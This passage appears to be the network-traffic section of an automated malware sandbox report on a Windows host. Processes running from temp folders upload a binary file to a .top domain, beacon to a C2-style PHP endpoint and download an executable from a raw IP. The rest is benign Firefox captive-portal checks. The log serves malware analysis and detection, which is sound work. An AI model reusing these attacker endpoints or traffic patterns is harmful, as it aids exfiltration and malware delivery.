Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50063	34.116.198.130	80	7920	C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:48.799688101 CET	12890	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 21179 Content-Type: multipart/form-data; boundary=------------------------PuKgaLOHMjwqLgpTajeLQg Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 75 4b 67 61 4c 4f 48 4d 6a 77 71 4c 67 70 54 61 6a 65 4c 51 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 69 76 6f 67 69 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cf f1 2f 6b 63 e2 95 51 fc 40 3e c5 ed 39 aa a5 e7 13 d4 de 99 81 65 52 21 57 aa 86 d3 a1 60 79 9d 76 25 b9 4c 0f bb a8 11 93 93 21 bf 01 8a b8 ba cd 53 2c c7 74 49 21 c8 bf 97 77 7e e3 b9 46 d1 80 ea 18 83 96 e6 a1 03 4e e6 f7 d0 38 a2 0e 5d 71 c1 e4 8c 3d 0c 92 6c 36 0a 2b 9c 20 95 40 d7 db 24 c6 5a d0 49 eb 5f d6 e4 c8 ed 9d 31 10 53 f4 5f 3c fa 50 d2 de cb 13 c5 73 c4 bd 6c ef 50 83 42 e5 47 dc 6f ad 60 4b 51 59 45 5f 18 40 c3 06 55 45 4c 5d ab 36 b4 e3 21 9b b1 ae 21 e9 e0 cc 37 3f aa f5 c4 f4 ca ec 6a 93 56 e8 c9 9a bc [TRUNCATED] Data Ascii: --------------------------PuKgaLOHMjwqLgpTajeLQgContent-Disposition: form-data; name="file"; filename="Divogip.bin"Content-Type: application/octet-stream/kcQ@>9eR!W`yv%L!S,tI!w~FN8]q=l6+ @$ZI_1S_<PslPBGo`KQYE_@UEL]6!!7?jVRhnUUJqfcY^UYUc0V9zfT~jLi(g-`+.}L$#Q7ZBvYV:#a}xPg;MD)}/5+qT%UNZs6f>dJ}VgUl8V\|\|?^$i\]1r''J!qTuP%qI8dNVh\.oeG>ux+m,`s8H$E8,B=L]6a[Wu#Co)HoaQG*]\|HyrXqb7vT/UYiXTi{<p{~f^+2gwk<k&cj]g)dhgCe$:A4T>CGrk\7ot8A86=J<b/@HXwxwDbDTGkbt:^]iq]y??yzVq3o7?2Cq ]"=PS [TRUNCATED]
Nov 19, 2024 22:07:48.996666908 CET	8470	OUT	Data Raw: 1a 0e 59 00 30 a6 62 48 ed 9c f8 c3 45 41 74 92 6a 98 95 0d 65 1d 25 2f e9 65 f2 06 18 fc 40 73 85 3f e2 c6 2a 7e 4e db aa f2 b9 eb cd da 4f 36 a5 ef fc 41 1f 60 c5 c3 27 db 7f 72 30 00 b1 0b 18 cc fd 73 2c 1c 38 f1 12 69 2b e3 b0 47 f9 e2 e9 7e Data Ascii: Y0bHEAtje%/e@s?*~NO6A`'r0s,8i+G~,?)&^`{;$JtZS&E4B>\K%!;?tfW`%,3qA3mc51&HRp[i0=mD7D<YQJ]b0X/#11L
Nov 19, 2024 22:07:49.217638969 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Tue, 19 Nov 2024 21:07:49 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50057	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:49.429599047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:07:49.639664888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50065	34.107.221.82	80	6324	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:49.438111067 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:07:49.532526970 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60811 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50078	34.107.221.82	80	6324	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:51.123429060 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:07:51.214072943 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60813 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:07:52.759541035 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:07:52.850348949 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60814 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:02.854412079 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:08:09.250900030 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:09.341533899 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60831 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:10.052294016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:10.147052050 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60832 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:10.183124065 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:10.273920059 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60832 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:10.467838049 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:10.558665037 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60832 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:10.824949980 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:10.915388107 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60832 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:11.191140890 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:11.282147884 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60833 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:11.418905020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:11.510077000 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60833 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:15.316732883 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:15.409153938 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:25.562376022 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50079	34.107.221.82	80	6324	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:51.123660088 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:07:51.217305899 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52977 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:07:52.759958029 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:07:52.853904009 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52978 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:02.870126963 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:08:09.951900005 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:10.048388958 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52995 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:10.080466986 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:10.179970980 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52996 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:10.350784063 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:10.444751978 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52996 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:10.721849918 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:10.816020966 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52996 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:11.049640894 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:11.143934965 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52997 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:11.309695005 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:11.403858900 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 52997 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:15.202636957 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:08:15.296483040 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53001 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:08:25.390289068 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50080	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:51.390450001 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:07:51.603019953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50094	185.215.113.16	80	2996	C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:07:52.686261892 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 19, 2024 22:07:52.897660971 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:07:52 GMT Content-Type: application/octet-stream Content-Length: 2766848 Last-Modified: Tue, 19 Nov 2024 21:00:30 GMT Connection: keep-alive ETag: "673cfc6e-2a3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 f8 f9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui` @ @.rsrc`2@.idata 8@ihewwctv)):@macjzflx @.taggant@"@ [TRUNCATED]
Nov 19, 2024 22:07:52.897681952 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:52.897700071 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 22:07:52.897722006 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
